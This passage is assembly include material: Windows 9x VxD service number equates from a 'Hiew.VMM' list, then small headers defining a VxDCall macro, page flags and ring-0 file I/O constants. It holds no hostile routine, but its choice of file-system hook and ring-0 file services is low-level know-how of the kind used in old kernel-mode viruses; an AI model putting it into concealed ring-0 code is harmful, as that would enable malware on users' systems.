VCOMM_GetCommQueueStatus equ 0002B000Ah VCOMM_ClearCommError equ 0002B000Bh VCOMM_GetModemStatus equ 0002B000Ch VCOMM_GetCommProperties equ 0002B000Dh VCOMM_EscapeCommFunction equ 0002B000Eh VCOMM_PurgeComm equ 0002B000Fh VCOMM_SetCommEventMask equ 0002B0010h VCOMM_GetCommEventMask equ 0002B0011h VCOMM_WriteComm equ 0002B0012h VCOMM_ReadComm equ 0002B0013h VCOMM_EnableCommNotification equ 0002B0014h VCOMM_GetLastError equ 0002B0015h VCOMM_Steal_Port equ 0002B0016h VCOMM_SetReadCallBack equ 0002B0017h VCOMM_SetWriteCallBack equ 0002B0018h VCOMM_Add_Port equ 0002B0019h VCOMM_GetSetCommTimeouts equ 0002B001Ah VCOMM_SetWriteRequest equ 0002B001Bh VCOMM_SetReadRequest equ 0002B001Ch VCOMM_Dequeue_Request equ 0002B001Dh VCOMM_Enumerate_DevNodes equ 0002B001Eh VCOMM_Map_Win32DCB_To_Ring0 equ 0002B001Fh VCOMM_Map_Ring0DCB_To_Win32 equ 0002B0020h VCOMM_Get_Contention_Handler equ 0002B0021h VCOMM_Map_Name_To_Resource equ 0002B0022h ; [002C.SPOOLER] ; [0031.NETBEUI] ; [0032.VSERVER] ; [0033.CONFIGMG] CONFIGMG_Get_Version equ 000330000h CONFIGMG_Initialize equ 000330001h CONFIGMG_Locate_DevNode equ 000330002h CONFIGMG_Get_Parent equ 000330003h CONFIGMG_Get_Child equ 000330004h CONFIGMG_Get_Sibling equ 000330005h CONFIGMG_Get_Device_ID_Size equ 000330006h CONFIGMG_Get_Device_ID equ 000330007h CONFIGMG_Get_Depth equ 000330008h CONFIGMG_Get_Private_DWord equ 000330009h CONFIGMG_Set_Private_DWord equ 00033000Ah CONFIGMG_Create_DevNode equ 00033000Bh CONFIGMG_Query_Remove_SubTree equ 00033000Ch CONFIGMG_Remove_SubTree equ 00033000Dh CONFIGMG_Register_Device_Driver equ 00033000Eh CONFIGMG_Register_Enumerator equ 00033000Fh CONFIGMG_Register_Arbitrator equ 000330010h CONFIGMG_Deregister_Arbitrator equ 000330011h CONFIGMG_Query_Arbitrator_Free_Size equ 000330012h CONFIGMG_Query_Arbitrator_Free_Data equ 000330013h CONFIGMG_Sort_NodeList equ 000330014h CONFIGMG_Yield equ 000330015h CONFIGMG_Lock equ 000330016h CONFIGMG_Unlock equ 000330017h CONFIGMG_Add_Empty_Log_Conf equ 000330018h CONFIGMG_Free_Log_Conf equ 000330019h CONFIGMG_Get_First_Log_Conf equ 00033001Ah CONFIGMG_Get_Next_Log_Conf equ 00033001Bh CONFIGMG_Add_Res_Des equ 00033001Ch CONFIGMG_Modify_Res_Des equ 00033001Dh CONFIGMG_Free_Res_Des equ 00033001Eh CONFIGMG_Get_Next_Res_Des equ 00033001Fh CONFIGMG_Get_Performance_Info equ 000330020h CONFIGMG_Get_Res_Des_Data_Size equ 000330021h CONFIGMG_Get_Res_Des_Data equ 000330022h CONFIGMG_Process_Events_Now equ 000330023h CONFIGMG_Create_Range_List equ 000330024h CONFIGMG_Add_Range equ 000330025h CONFIGMG_Delete_Range equ 000330026h CONFIGMG_Test_Range_Available equ 000330027h CONFIGMG_Dup_Range_List equ 000330028h CONFIGMG_Free_Range_List equ 000330029h CONFIGMG_Invert_Range_List equ 00033002Ah CONFIGMG_Intersect_Range_List equ 00033002Bh CONFIGMG_First_Range equ 00033002Ch CONFIGMG_Next_Range equ 00033002Dh CONFIGMG_Dump_Range_List equ 00033002Eh CONFIGMG_Load_DLVxDs equ 00033002Fh CONFIGMG_Get_DDBs equ 000330030h CONFIGMG_Get_CRC_CheckSum equ 000330031h CONFIGMG_Register_DevLoader equ 000330032h CONFIGMG_Reenumerate_DevNode equ 000330033h CONFIGMG_Setup_DevNode equ 000330034h CONFIGMG_Reset_Children_Marks equ 000330035h CONFIGMG_Get_DevNode_Status equ 000330036h CONFIGMG_Remove_Unmarked_Children equ 000330037h CONFIGMG_ISAPNP_To_CM equ 000330038h CONFIGMG_CallBack_Device_Driver equ 000330039h CONFIGMG_CallBack_Enumerator equ 00033003Ah CONFIGMG_Get_Alloc_Config equ 00033003Bh CONFIGMG_Get_DevNode_Key_Size equ 00033003Ch CONFIGMG_Get_DevNode_Key equ 00033003Dh CONFIGMG_Read_Registry_Value equ 00033003Eh CONFIGMG_Write_Registry_Value equ 00033003Fh CONFIGMG_Disable_DevNode equ 000330040h CONFIGMG_Enable_DevNode equ 000330041h CONFIGMG_Move_DevNode equ 000330042h CONFIGMG_Set_Bus_Info equ 000330043h CONFIGMG_Get_Bus_Info equ 000330044h CONFIGMG_Set_HW_Prof equ 000330045h CONFIGMG_Recompute_HW_Prof equ 000330046h CONFIGMG_Query_Change_HW_Prof equ 000330047h CONFIGMG_Get_Device_Driver_Private_DWord equ 000330048h CONFIGMG_Set_Device_Driver_Private_DWord equ 000330049h CONFIGMG_Get_HW_Prof_Flags equ 00033004Ah CONFIGMG_Set_HW_Prof_Flags equ 00033004Bh CONFIGMG_Read_Registry_Log_Confs equ 00033004Ch CONFIGMG_Run_Detection equ 00033004Dh CONFIGMG_Call_At_Appy_Time equ 00033004Eh CONFIGMG_Fail_Change_HW_Prof equ 00033004Fh CONFIGMG_Set_Private_Problem equ 000330050h CONFIGMG_Debug_DevNode equ 000330051h CONFIGMG_Get_Hardware_Profile_Info equ 000330052h CONFIGMG_Register_Enumerator_Function equ 000330053h CONFIGMG_Call_Enumerator_Function equ 000330054h CONFIGMG_Add_ID equ 000330055h CONFIGMG_Find_Range equ 000330056h CONFIGMG_Get_Global_State equ 000330057h CONFIGMG_Broadcast_Device_Change_Message equ 000330058h CONFIGMG_Call_DevNode_Handler equ 000330059h CONFIGMG_Remove_Reinsert_All equ 00033005Ah CONFIGMG_Change_DevNode_Status equ 00033005Bh CONFIGMG_Reprocess_DevNode equ 00033005Ch CONFIGMG_Assert_Structure equ 00033005Dh CONFIGMG_Discard_Boot_Log_Conf equ 00033005Eh CONFIGMG_Set_Dependent_DevNode equ 00033005Fh CONFIGMG_Get_Dependent_DevNode equ 000330060h CONFIGMG_Refilter_DevNode equ 000330061h CONFIGMG_Merge_Range_List equ 000330062h CONFIGMG_Substract_Range_List equ 000330063h CONFIGMG_Set_DevNode_PowerState equ 000330064h CONFIGMG_Get_DevNode_PowerState equ 000330065h CONFIGMG_Set_DevNode_PowerCapabilities equ 000330066h CONFIGMG_Get_DevNode_PowerCapabilities equ 000330067h CONFIGMG_Read_Range_List equ 000330068h CONFIGMG_Write_Range_List equ 000330069h CONFIGMG_Get_Log_Conf_Priority equ 00033006Ah CONFIGMG_Support_Share_Irq equ 00033006Bh CONFIGMG_Get_Parent_Structure equ 00033006Ch CONFIGMG_Register_DevNode_For_Idle_Detection equ 00033006Dh CONFIGMG_CM_To_ISAPNP equ 00033006Eh CONFIGMG_Get_DevNode_Handler equ 00033006Fh CONFIGMG_Detect_Resource_Conflict equ 000330070h CONFIGMG_Get_Device_Interface_List equ 000330071h CONFIGMG_Get_Device_Interface_List_Size equ 000330072h CONFIGMG_Get_Conflict_Info equ 000330073h CONFIGMG_Add_Remove_DevNode_Property equ 000330074h CONFIGMG_CallBack_At_Appy_Time equ 000330075h CONFIGMG_Register_Device_Interface equ 000330076h CONFIGMG_System_Device_Power_State_Mapping equ 000330077h CONFIGMG_Get_Arbitrator_Info equ 000330078h CONFIGMG_Waking_Up_From_DevNode equ 000330079h CONFIGMG_Set_DevNode_Problem equ 00033007Ah CONFIGMG_Get_Device_Interface_Alias equ 00033007Bh ; [0034.CM] CM_GetVersion equ 000340000h CM_GetConfig equ 000340001h CM_LockConfig equ 000340002h CM_UnlockConfig equ 000340003h CM_CME_QueryResources equ 000340004h CM_CME_AllocResources equ 000340005h CM_CME_DeallocResources equ 000340006h ; [0036.VFBACKUP] VFBACKUP_Get_Version equ 000360000h VFBACKUP_Lock_NEC equ 000360001h VFBACKUP_UnLock_NEC equ 000360002h VFBACKUP_Register_NEC equ 000360003h VFBACKUP_Register_VFD equ 000360004h VFBACKUP_Lock_All_Ports equ 000360005h ; [0037.VMINI] VMINI_GetVersion equ 000370000h VMINI_Update equ 000370001h VMINI_Status equ 000370002h VMINI_DisplayError equ 000370003h VMINI_SetTimeStamp equ 000370004h VMINI_Siren equ 000370005h VMINI_RegisterAccess equ 000370006h VMINI_GetData equ 000370007h VMINI_ShutDownItem equ 000370008h VMINI_RegisterSK equ 000370009h ; [0038.VCOND] VCOND_Get_Version equ 000380000h VCOND_Launch_ConApp_Inherited equ 000380001h ; [003D.BIOS] ; [003E.WSOCK] WSOCK_Get_Version equ 0003E0000h WSOCK_Register equ 0003E0001h WSOCK_Deregister equ 0003E0002h WSOCK_SignalNotify equ 0003E0003h WSOCK_SignalAllNotify equ 0003E0004h ; [0040.IFSMGR] IFSMGR_Get_Version equ 000400000h IFSMGR_RegisterMount equ 000400001h IFSMGR_RegisterNet equ 000400002h IFSMGR_RegisterMailSlot equ 000400003h IFSMGR_Attach equ 000400004h IFSMGR_Detach equ 000400005h IFSMGR_Get_NetTime equ 000400006h IFSMGR_Get_DOSTime equ 000400007h IFSMGR_SetupConnection equ 000400008h IFSMGR_DerefConnection equ 000400009h IFSMGR_ServerDOSCall equ 00040000Ah IFSMGR_CompleteAsync equ 00040000Bh IFSMGR_RegisterHeap equ 00040000Ch IFSMGR_GetHeap equ 00040000Dh IFSMGR_RetHeap equ 00040000Eh IFSMGR_CheckHeap equ 00040000Fh IFSMGR_CheckHeapItem equ 000400010h IFSMGR_FillHeapSpare equ 000400011h IFSMGR_Block equ 000400012h IFSMGR_Wakeup equ 000400013h IFSMGR_Yield equ 000400014h IFSMGR_SchedEvent equ 000400015h IFSMGR_QueueEvent equ 000400016h IFSMGR_KillEvent equ 000400017h IFSMGR_FreeIOReq equ 000400018h IFSMGR_MakeMailSlot equ 000400019h IFSMGR_DeleteMailSlot equ 00040001Ah IFSMGR_WriteMailSlot equ 00040001Bh IFSMGR_PopUp equ 00040001Ch IFSMGR_printf equ 00040001Dh IFSMGR_AssertFailed equ 00040001Eh IFSMGR_LogEntry equ 00040001Fh IFSMGR_DebugMenu equ 000400020h IFSMGR_DebugVars equ 000400021h IFSMGR_GetDebugString equ 000400022h IFSMGR_GetDebugHexNum equ 000400023h IFSMGR_NetFunction equ 000400024h IFSMGR_DoDelAllUses equ 000400025h IFSMGR_SetErrString equ 000400026h IFSMGR_GetErrString equ 000400027h IFSMGR_SetReqHook equ 000400028h IFSMGR_SetPathHook equ 000400029h IFSMGR_UseAdd equ 00040002Ah IFSMGR_UseDel equ 00040002Bh IFSMGR_InitUseAdd equ 00040002Ch IFSMGR_ChangeDir equ 00040002Dh IFSMGR_DelAllUses equ 00040002Eh IFSMGR_CDROM_Attach equ 00040002Fh IFSMGR_CDROM_Detach equ 000400030h IFSMGR_Win32DupHandle equ 000400031h IFSMGR_Ring0_FileIO equ 000400032h IFSMGR_Toggle_Extended_File_Handles equ 000400033h IFSMGR_Get_Drive_Info equ 000400034h IFSMGR_Ring0GetDriveInfo equ 000400035h IFSMGR_BlockNoEvents equ 000400036h IFSMGR_NetToDosTime equ 000400037h IFSMGR_DosToNetTime equ 000400038h IFSMGR_DosToWin32Time equ 000400039h IFSMGR_Win32ToDosTime equ 00040003Ah IFSMGR_NetToWin32Time equ 00040003Bh IFSMGR_Win32ToNetTime equ 00040003Ch IFSMGR_MetaMatch equ 00040003Dh IFSMGR_TransMatch equ 00040003Eh IFSMGR_CallProvider equ 00040003Fh IFSMGR_UniToBCS equ 000400040h IFSMGR_UniToBCSPath equ 000400041h IFSMGR_BCSToUni equ 000400042h IFSMGR_UniToUpper equ 000400043h IFSMGR_UniCharToOEM equ 000400044h IFSMGR_CreateBasis equ 000400045h IFSMGR_MatchBasisName equ 000400046h IFSMGR_AppendBasisTail equ 000400047h IFSMGR_FcbToShort equ 000400048h IFSMGR_ShortToFcb equ 000400049h IFSMGR_ParsePath equ 00040004Ah IFSMGR_Query_PhysLock equ 00040004Bh IFSMGR_VolFlush equ 00040004Ch IFSMGR_NotifyVolumeArrival equ 00040004Dh IFSMGR_NotifyVolumeRemoval equ 00040004Eh IFSMGR_QueryVolumeRemoval equ 00040004Fh IFSMGR_FSDUnmountCFSD equ 000400050h IFSMGR_GetConversionTablePtrs equ 000400051h IFSMGR_CheckAccessConflict equ 000400052h IFSMGR_LockFile equ 000400053h IFSMGR_UnlockFile equ 000400054h IFSMGR_RemoveLocks equ 000400055h IFSMGR_CheckLocks equ 000400056h IFSMGR_CountLocks equ 000400057h IFSMGR_ReassignLockFileInst equ 000400058h IFSMGR_UnassignLockList equ 000400059h IFSMGR_MountChildVolume equ 00040005Ah IFSMGR_UnmountChildVolume equ 00040005Bh IFSMGR_SwapDrives equ 00040005Ch IFSMGR_FSDMapFHtoIOREQ equ 00040005Dh IFSMGR_FSDParsePath equ 00040005Eh IFSMGR_FSDAttachSFT equ 00040005Fh IFSMGR_GetTimeZoneBias equ 000400060h IFSMGR_PNPEvent equ 000400061h IFSMGR_RegisterCFSD equ 000400062h IFSMGR_Win32MapExtendedHandleToSFT equ 000400063h IFSMGR_DbgSetFileHandleLimit equ 000400064h IFSMGR_Win32MapSFTToExtendedHandle equ 000400065h IFSMGR_FSDGetCurrentDrive equ 000400066h IFSMGR_InstallFileSystemApiHook equ 000400067h IFSMGR_RemoveFileSystemApiHook equ 000400068h IFSMGR_RunScheduledEvents equ 000400069h IFSMGR_CheckDelResource equ 00040006Ah IFSMGR_Win32GetVMCurdir equ 00040006Bh IFSMGR_SetupFailedConnection equ 00040006Ch IFSMGR_GetMappedErr equ 00040006Dh IFSMGR_ShortToLossyFcb equ 00040006Eh IFSMGR_GetLockState equ 00040006Fh IFSMGR_BcsToBcs equ 000400070h IFSMGR_SetLoopback equ 000400071h IFSMGR_ClearLoopback equ 000400072h IFSMGR_ParseOneElement equ 000400073h IFSMGR_BcsToBcsUpper equ 000400074h ; [0041.VCDFSD] ; [0043.PCI] PCI_Get_Version equ 000430000h PCI_Read_Config equ 000430001h PCI_Write_Config equ 000430002h ; [0048.PERF] PERF_Get_Version equ 000480000h PERF_Server_Register equ 000480001h PERF_Server_Deregister equ 000480002h PERF_Server_Add_Stat equ 000480003h PERF_Server_Remove_Stat equ 000480004h ; [004A.MTRR] MTRR_Get_Version equ 0004A0000h MTRR_SetPhysicalCacheTypeRange equ 0004A0001h MTRR_IsPatSupported equ 0004A0002h ; [004B.NTKERN] NTKERN_Get_Version equ 0004B0000h NTKERN_CreateFile equ 0004B0001h NTKERN_Close equ 0004B0002h NTKERN_ReadFile equ 0004B0003h NTKERN_WriteFile equ 0004B0004h NTKERN_DeviceIoControl equ 0004B0005h NTKERN_GetWorkerThread equ 0004B0006h NTKERN_LoadDriver equ 0004B0007h NTKERN_QueueWorkItem equ 0004B0008h NTKERN_PhysicalDeviceObjectToDevNode equ 0004B0009h NTKERN_SetPhysicalCacheTypeRange equ 0004B000Ah NTKERN_Win9XLoadDriver equ 0004B000Bh NTKERN_CancelIoFile equ 0004B000Ch NTKERN_GetVPICDHandleFromInterruptObj equ 0004B000Dh ; [004C.ACPI] ACPI_Get_Version equ 0004C0000h ACPI_SetSystemPowerState equ 0004C0001h ACPI_SetTimingMode equ 0004C0002h ACPI_RegisterOpRegionCookedHandler equ 0004C0003h ACPI_Set_RTC equ 0004C0004h ACPI_GetTimingMode equ 0004C0005h ACPI_GetTaskFile equ 0004C0006h ACPI_WalkNameSpace equ 0004C0007h ACPI_GetObject equ 0004C0008h ACPI_NameSpaceToDevNode equ 0004C0009h ACPI_DevNodeToNameSpace equ 0004C000Ah ACPI_RunControlMethod equ 0004C000Bh ACPI_000C equ 0004C000Ch ACPI_000D equ 0004C000Dh ACPI_000E equ 0004C000Eh ACPI_EvalPackageElement equ 0004C000Fh ACPI_EvalPkgDataElement equ 0004C0010h ACPI_FreeDataBuffs equ 0004C0011h ACPI_0012 equ 0004C0012h ACPI_0013 equ 0004C0013h ACPI_GetNameSpaceObject equ 0004C0014h ; [004E.SMCLIB] SMCLIB_Get_Version equ 0004E0000h SMCLIB_SmartcardCreateLink equ 0004E0001h SMCLIB_SmartcardDeleteLink equ 0004E0002h SMCLIB_SmartcardDeviceControl equ 0004E0003h SMCLIB_SmartcardExit equ 0004E0004h SMCLIB_SmartcardInitialize equ 0004E0005h SMCLIB_SmartcardLogError equ 0004E0006h SMCLIB_SmartcardRawReply equ 0004E0007h SMCLIB_SmartcardRawRequest equ 0004E0008h SMCLIB_SmartcardT0Reply equ 0004E0009h SMCLIB_SmartcardT0Request equ 0004E000Ah SMCLIB_SmartcardT1Reply equ 0004E000Bh SMCLIB_SmartcardT1Request equ 0004E000Ch SMCLIB_SmartcardUpdateCardCapabilities equ 0004E000Dh SMCLIB_SmartcardGetDebugLevel equ 0004E000Eh SMCLIB_SmartcardSetDebugLevel equ 0004E000Fh SMCLIB_MapNtStatusToWinError equ 0004E0010h SMCLIB_Assert equ 0004E0011h SMCLIB_VxD_CreateDevice equ 0004E0012h SMCLIB_VxD_DeleteDevice equ 0004E0013h SMCLIB_SmartcardCompleteCardTracking equ 0004E0014h SMCLIB_SmartcardCompleteRequest equ 0004E0015h ; [011F.VFLATD] VFLATD_Get_Version equ 0011F0000h VFLATD_Unmap_Flat_Selector equ 0011F0001h ; [0449.VJOYD] VJOYD_Register_Device_Driver equ 004490000h VJOYD_GetPosEx_Service equ 004490001h VJOYD_GetInitParams_Service equ 004490002h VJOYD_Poll_Service equ 004490003h VJOYD_Escape_Service equ 004490004h VJOYD_CtrlMsg_Service equ 004490005h VJOYD_SetGain_Service equ 004490006h VJOYD_SendFFCommand_Service equ 004490007h VJOYD_GetFFState_Service equ 004490008h VJOYD_DownloadEffect_Service equ 004490009h VJOYD_DestroyEffect_Service equ 00449000Ah VJOYD_StartEffect_Service equ 00449000Bh VJOYD_StopEffect_Service equ 00449000Ch VJOYD_GetEffectStatus_Service equ 00449000Dh VJOYD_DeviceUpdateNotify_Service equ 00449000Eh VJOYD_JoystickActivity_Service equ 00449000Fh VJOYD_OpenTypeKey_Service equ 004490010h VJOYD_OpenConfigKey_Service equ 004490011h VJOYD_NewGameportDevNode equ 004490012h ; [044A.MMDEVLDR] MMDEVLDR_Register_Device_Driver equ 0044A0000h MMDEVLDR_SetDevicePresence equ 0044A0001h MMDEVLDR_SetEnvironmentString equ 0044A0002h MMDEVLDR_GetEnvironmentString equ 0044A0003h MMDEVLDR_RemoveEnvironmentString equ 0044A0004h MMDEVLDR_AddEnvironmentString equ 0044A0005h ; [0480.VNETSUP] VNETSUP_Get_Version equ 004800000h VNETSUP_GetVars equ 004800001h VNETSUP_RegisterTerm equ 004800002h VNETSUP_SetInfo equ 004800003h VNETSUP_ServerHook equ 004800004h VNETSUP_PassEncrypt equ 004800005h VNETSUP_PassEncryptNT equ 004800006h VNETSUP_PassEncrypt2 equ 004800007h ; [0481.VREDIR] VREDIR_Get_Version equ 004810000h VREDIR_BcnSetWfWVersion equ 004810001h VREDIR_BcnSetWfWBits equ 004810002h VREDIR_BcnIncWfWCount equ 004810003h VREDIR_BcnTriggerPulse equ 004810004h VREDIR_BcnWfWBrowser equ 004810005h VREDIR_BcnSetMaster equ 004810006h VREDIR_SendMessage equ 004810007h VREDIR_SetRemoteDebug equ 004810008h VREDIR_ValidateUser equ 004810009h VREDIR_ConnectServer equ 00481000Ah VREDIR_DisconnectServer equ 00481000Bh VREDIR_RemoteMailSlotWrite equ 00481000Ch VREDIR_NetInfo equ 00481000Dh VREDIR_BcnSetHook equ 00481000Eh VREDIR_UserGetGroups equ 00481000Fh VREDIR_SetIPXError equ 004810010h VREDIR_NetGetDfsReferrals equ 004810011h VREDIR_AddPathElement equ 004810012h VREDIR_MakeResourceDfs equ 004810013h ; [0483.VSHARE] VSHARE_Get_Version equ 004830000h ; [0486.VFAT] ; [0487.NWLINK] ; [0488.VTDI] VTDI_Get_Version equ 004880000h VTDI_Start_Timer equ 004880001h VTDI_Stop_Timer equ 004880002h VTDI_Schedule_Event equ 004880003h VTDI_Cancel_Event equ 004880004h VTDI_Block equ 004880005h VTDI_Signal equ 004880006h VTDI_Register equ 004880007h VTDI_Get_Info equ 004880008h VTDI_Unload equ 004880009h VTDI_Initialize equ 00488000Ah VTDI_Register_UnloadProc equ 00488000Bh VTDI_Register_LoadProc equ 00488000Ch ; [0489.VIP] VIP_VIP_Get_Version equ 004890000h VIP_VIP_Get_Net_Info equ 004890001h VIP_VIP_Register_Protocol equ 004890002h VIP_VIP_Register_Driver equ 004890003h VIP_VIP_Set_Addr equ 004890004h VIP_VIP_ICMP_Echo equ 004890005h VIP_VIP_Register_Addr_Change equ 004890006h VIP_VIP_Set_DCHP_Interface equ 004890007h ; [048A.MSTCP] MSTCP_Get_Version equ 0048A0000h ; [048B.VCACHE] VCACHE_Get_Version equ 0048B0000h VCACHE_Register equ 0048B0001h VCACHE_GetSize equ 0048B0002h VCACHE_CheckAvail equ 0048B0003h VCACHE_FindBlock equ 0048B0004h VCACHE_FreeBlock equ 0048B0005h VCACHE_MakeMRU equ 0048B0006h VCACHE_Hold equ 0048B0007h VCACHE_Unhold equ 0048B0008h VCACHE_Enum equ 0048B0009h VCACHE_TestHandle equ 0048B000Ah VCACHE_VerifySums equ 0048B000Bh VCACHE_RecalcSums equ 0048B000Ch VCACHE_TestHold equ 0048B000Dh VCACHE_GetStats equ 0048B000Eh VCACHE_Deregister equ 0048B000Fh VCACHE_AdjustMinimum equ 0048B0010h VCACHE_SwapBuffers equ 0048B0011h VCACHE_RelinquishPage equ 0048B0012h VCACHE_UseThisPage equ 0048B0013h VCACHE_CreateLookupCache equ 0048B0014h VCACHE_CloseLookupCache equ 0048B0015h VCACHE_DeleteLookupCache equ 0048B0016h VCACHE_Lookup equ 0048B0017h VCACHE_UpdateLookup equ 0048B0018h ; [048E.NWREDIR] ; [0491.FILESEC] ; [0492.NWSERVER] ; [0496.NDIS2SUP] ; [0497.MSODISUP] ; [0498.SPLITTER] ; [0499.PPPMAC] ; [049A.VDHCP] ; [049D.LOGGER] ; [097C.PCCARD] PCCARD_Get_Version equ 0097C0000h PCCARD_Card_Services equ 0097C0001h PCCARD_Access_CIS_Memory equ 0097C0002h ; --- End of Hiew.VMM -------------------------------------- ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\hiew_vmm.inc]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\vxd_call.inc]ÄÄ VxDCall macro Service db 0CDh db 020h dd Service endm VMMCall macro Service VxDCall VMM_&Service& endm ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\vxd_call.inc]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\vmm.inc]ÄÄ PG_SYS equ 1 PAGEZEROINIT equ 00000001H PAGEFIXED equ 00000008H ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\vmm.inc]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\ifs.inc]ÄÄ R0_NO_CACHE equ 0100h R0_READFILE_IN_CONTEXT equ 0D602h R0_CLOSEFILE equ 0D700h ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\ifs.inc]ÄÄ